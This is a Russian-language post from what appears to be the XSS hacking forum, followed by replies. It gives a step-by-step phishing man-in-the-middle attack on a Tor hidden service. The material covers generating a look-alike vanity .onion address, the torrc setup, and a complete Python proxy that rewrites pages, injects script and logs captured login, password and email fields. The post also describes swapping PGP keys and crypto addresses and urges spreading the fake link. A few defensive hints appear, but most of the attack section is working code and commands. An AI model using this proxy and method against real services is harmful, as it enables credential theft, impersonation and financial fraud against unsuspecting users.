• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Фокус-покус с MITM в Tor (Фишинг прокси)

ec5745y

HDD-drive
Пользователь
Регистрация
03.07.2025
Сообщения
26
Реакции
28
Привет! В этой статье я покажу, как можно перехватить трафик и обмануть новых (и не только) пользователей любого сервиса в децентрализованных анонимных сетях — на примере Tor и сайта XSS.IS (админ, не бань)

Я нигде не нашёл упоминания этой проблемы, как и её решения. А между тем, она критически опасна, потому что позволяет выполнять полноценную MITM атаку в среде, где пользователи уверены в своей безопасности от подобного. Чтобы материал был максимально полезным, я затрону как теорию, так и наглядную практику, чтобы абсолютно каждый мог воспроизвести атаку, ну или же постараться воспрепятствовать ей.
Окей!
Идея состоит в создании прокси на фальшивом .onion адресе, который будет ретранслировать весь трафик клиента серверу и наоборот. Внешне это будет неотличимо от оригинального сайта / сервиса.
Это позволит отслеживать все действия пользователя, внедрять js код, модифицировать передаваемые данные, в том числе PGP ключи или адреса криптовалют. Выходит полноценный MITM с полным контролем над трафиком. Можем делать с передаваемыми данными что угодно.
Почему hidden service?
В обычном клирнете нынче это почти невозможно - на это влияет ряд факторов: от политик безопасности, защитных механизмов браузеров, таких как HSTS, проблем с SSL / TLS и заканчивая тем, что сам владелец сервера может обнаружить подозрительную активность (много сессий пользователей / трафика с одного IP) и просто заблокировать прокси сервер. Также и сами пользователи могут попытаться найти оригинальный ресурс.
В Tor'е же всё совсем иначе: IP адреса скрыты, заблокировать невозможно, вместо SSL для криптографии используется сам .onion адрес. Кроме того, эти адреса не индексируются (hidden service, как-никак), поэтому пользователь не может проверить их достоверность. И даже если владелец ресурса попробует как-то сообщить об этой проблеме - ничего не сработает. Ведь тот самый man, который in the middle просто не пропустит такой контент или модифицирует его удобным под себя образом.
Сразу на примере!
У XSS есть красивый префикс в .onion домене - начинается как "xssforum". Это, конечно же, красиво и элитарно. Однако, увидев такой префикс в начале домена, пользователь, скорее всего, предпочтёт лишний раз его не перепроверять оставшуюся часть строки - что большая ошибка. Хоть уязвимость ориентирована в первую очередь на новых пользователей, возможно, некоторые опытные, но банально невнимательные юзеры тоже попадутся на уловку.
PS: Я обнаружил, что в XSS цитирование на форуме происходит с использованием полных ссылок на посты, то есть человек может отправить поддельную ссылку на самом форуме в правдоподобном контексте.
Даже админ мдератор кликнуть на ссылку с фейковым доменом. Что уж говорить про обычных смертных.
Впрочем, если он это читает - значит, не кликнул. Или кликнул... в песочинце.

(pic1.png (затронуты все разделы)
pic1.jpg

)
Решить можно хотя бы добавив предупреждение о переходе на другие домены. :smile10:
Для нахождения фейков можно использовать регулярку:
^(?!xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion$)xssforum.*.onion$
Паттерн находит все .onion, начинающиеся на xssforum, кроме оригинального.

pic3.jpg


Проблема есть на всех известных мне ИБ форумах.
Создать красивый ванити адрес можно с помощью утилиты mkp224o (её, как и все программы и код, я оставил в файлике за постом) .
Прошу обратить внимание, что на гитхабе много софта для подобного, однако большая часть генерирует адреса второй версии tor'a, когда она уже долгое время не работает.
Используйте только tor v3 (с 56ти символьной длиной)

После генерации получился такой адрес:
xssforumjnkty37dgkrqba3ek53rymakj7shmbuiobivospnwzp7csad.onion (поддельный адрес)
xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion (настоящий адрес)
Далее необходимо подключить Tor.
Файл, который сгенерировал mkp224o, отправляем в
/var/lib/tor/
Для удобства я переименовал его в xss
sudo chown -R tor:tor /var/lib/tor/xss/

[SIZE=5]sudo chmod 700 /var/lib/tor/xss/[/SIZE]

pic2.jpg

В /etc/tor/torrc прописываем файлик и порт
nano /etc/tor/torrc

Код:
HiddenServiceDir /var/lib/tor/xss/
HiddenServicePort 80 127.0.0.1:5745
pic4.jpg

На этом примере:
Порт 5745 это порт локального веб сервера, на который будет идти трафик из tor.
Порт 80 это внешний порт службы, через который к сайту подключаются пользователи.

Запускаем службу
tor
systemctl start tor (Если используете systemd)
Теперь переходим к настройке самого локального сервера.

Python:
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests, re, chardet

P = 5745                                                               # Порт сервера               
TGT = 'xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion' # Оригинальный домен
RPL = 'xssforumjnkty37dgkrqba3ek53rymakj7shmbuiobivospnwzp7csad.onion' # Фейковый
SOCKS = 'socks5h://127.0.0.1:9050'

SUBS = {                                                               # Строки на замену
    TGT: RPL,
    'xss.pro': 'EC5745Y',
    'xss.pro': 'EC5745Y',
    'xss.pro': 'EC5745Y',
    'admin': 'EC5745Y',
    '/members/1/': '/members/430778/',
    '<title>': (
        '<script>alert("Этот сайт фэйк. Читай первую статью в профиле ec5745y: http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/members/430778/")</script><script>window.open("https://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/members/430778/", "_blank");</script><title>'
    ),
}

def repl(txt):
    for o, n in SUBS.items():
        txt = txt.replace(o, n)
    return txt

def enc(ct, data):
    m = re.search(r'charset=([^\s;]+)', ct or '', re.I)
    if m:
        return m.group(1)
    d = chardet.detect(data)
    return d['encoding'] if d and d['encoding'] else 'utf-8'

class H(BaseHTTPRequestHandler):
    def handle_one_request(self):
        try:
            super().handle_one_request()
        except Exception:
            pass

    def _h(self):
        try:
            u = f'http://{TGT}{self.path}'
            hdrs = {k: repl(v) for k, v in self.headers.items() if k.lower() != 'host'}
            ln = int(self.headers.get('Content-Length', 0))
            b = self.rfile.read(ln) if ln else b''

            if self.command == 'POST' and b:
                e = enc(self.headers.get('Content-Type', ''), b)
                d = b.decode(e, errors='replace')
                print('\n[POST BODY]\n' + re.sub(
                    r'(?i)(login|user(name)?|pass(word)?|pwd|e-?mail)',    # Какие данные подсвечивать в терминале
                    lambda m: f"\033[91m{m.group(0)}\033[0m", d) + '\n')

            r = requests.request(
                self.command, u, headers=hdrs, data=b,
                allow_redirects=False,
                proxies={'http': SOCKS, 'https': SOCKS},
                timeout=30
            )

            self.send_response(r.status_code)
            for k, v in r.headers.items():
                if k.lower() not in {'content-length', 'transfer-encoding', 'content-encoding', 'connection'}:
                    self.send_header(k, repl(v))

            ct = r.headers.get('Content-Type', '')
            if ct.startswith(('text', 'application/json', 'application/xml')):
                e = enc(ct, r.content)
                t = r.content.decode(e, errors='replace')
                c = repl(t).encode(e, errors='replace')
            else:
                c = r.content

            self.send_header('Content-Length', str(len(c)))
            self.end_headers()

            try:
                self.wfile.write(c)
            except Exception:
                pass

        except Exception:
            try:
                self.send_response(500)
                self.end_headers()
            except Exception:
                pass

    do_GET = do_POST = do_PUT = do_DELETE = do_PATCH = do_OPTIONS = _h

print(f"Фейковый адрес: {RPL}")
HTTPServer(('', P), H).serve_forever()

В переменной P указать порт, на котором будет работать служба. Этот порт должен совпадать с тем, что было указано в /etc/tor/torrc
В TGT указываем оригинальный адрес, к которому будет перенаправление.
RPL должен содержать фейковый адрес. Можно посмотреть в /var/lib/tor/xss/hostname
Словаре SUBS задаются строки для замены.
Дополнительно, в строке 48, можно включить подсветку ключевых слов в выводе терминала.


python3 TORtrap.py
Видео proofs работы:
(видео не работает на форуме, отправил как файлы к посту)

vid1.mp4 (замена содержимого)
vid2.mp4 (замена содержимого и перехват учётных данных)
Ссылку на фишинг можно активно распространять в различных Telegram каналах и на форумах, и со временем она даже может превзойти оригинал по популярности.
Новые пользователи без лишних сомнений передадут все свои данные уже на этапе регистрации.

Ещё немного теории :t
Можно возразить, что использование асимметричной криптографии позволяет избежать MITM атаки. Ведь данные, зашифрованные ключом пользователя, не может расшифровать прокси, а при попытке подмены ключа соединение должно оборваться.
Однако прокси сервер может создать отдельные пары ключей для клиента и сервера. Когда клиент запрашивает публичный ключ сервера, прокси подменяет его на свой. Тогда клиент шифрует данные фальшивым ключом, прокси их расшифровывает, а затем пересылает серверу, заново зашифровав, однако уже на настоящий публичный ключ. Таким образом, посредник получает полный доступ к содержимому, с возможностью к модификации.
Похожий подход может использоваться и для подмены криптовалютных адресов. В простейшем случае пользователь может заметить, что разные получатели имеют один и тот же адрес. Однако при более сложной логике прокси сервер может динамически генерировать новые адреса и связывать их с изначальными получателями, не вызывая подозрений.

Одним из способов защиты может быть анонимная публикация и просмотр критических данных. Юзер может сам опубликовать свои данные и посмотреть, остались ли они не тронутыми.
Также можно использовать динамическую обфускацию адресов и ссылок - например, не передавать их плейнтекстом, а формировать через js (out-of-band), затруднив автоматическую подмену. Это не спасёт от целевой атаки, но может избавить от массового фишинга, где прокси меняет данные полностью автоматизированно.
PS: Я без понятия как решить эту проблему, если для атаки использовать нейросетевой ИИ.
В настоящий момент я рекомендую самостоятельно создать веб страницы, на которых будут размещены контакты под обфускацией(сам я в процессе создания).

Если интересно узнать более подробно о том, как работает умная подмена, меры противодоействия и тд - могу составить ещё одну статью :)

Сайт http://xssforumjnkty37dgkrqba3ek53rymakj7shmbuiobivospnwzp7csad.onion оставлю для вашего развлечения на несколько дней, можете потыкать :)

Сорцы, файлы, видео:
http://**************************************************************/b/325aLqUBOpOWzgynn54MS3
 

Вложения

  • Ecstasy (EC5745Y)_0x88B8F4DD4FEAB6A1_public.txt
    3.1 КБ · Просмотры: 35
Последнее редактирование:
Если интересно узнать более подробно о том, как работает умная подмена, меры противодоействия и тд - могу составить ещё одну статью :)

интересно, особенно идеи насчёт противодействия в случае когда у одного сайта несколько доменов.

asd.png
 
Я уже как-то автоматически и при копировании криптоадресов и тор-адресов сравниваю не только начало строки, т.е. первые символы типа xssforum , но и последние, типа vsburuid
xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion
Всякие vanity-gen брутфорсилки адресов обычно позволяют сгенерировать строку с нужным префиксом, а не постфиксом.
Хотя чисто концептуально ничто не мешает модифицировать эти vanity-генерилки таким образом, чтоб они брутфорсили строку одновременно с двух сторон.
 
Я уже как-то автоматически и при копировании криптоадресов и тор-адресов сравниваю не только начало строки, т.е. первые символы типа xssforum , но и последние, типа vsburuid
xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion
Всякие vanity-gen брутфорсилки адресов обычно позволяют сгенерировать строку с нужным префиксом, а не постфиксом.
Хотя чисто концептуально ничто не мешает модифицировать эти vanity-генерилки таким образом, чтоб они брутфорсили строку одновременно с двух сторон.
Oniongen-go поддерживает regex:
go run main.go "^xssforum.*vsburuid$" 1

В mkp224o regex отключён по умолчанию, однако его можно запросто включить при компиляции:
./configure --enable-regex=yes



Oniongen-go и mkp224o:
http://**************************************************************/b/1aP2VzX9NKJvliou5x7nJt
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх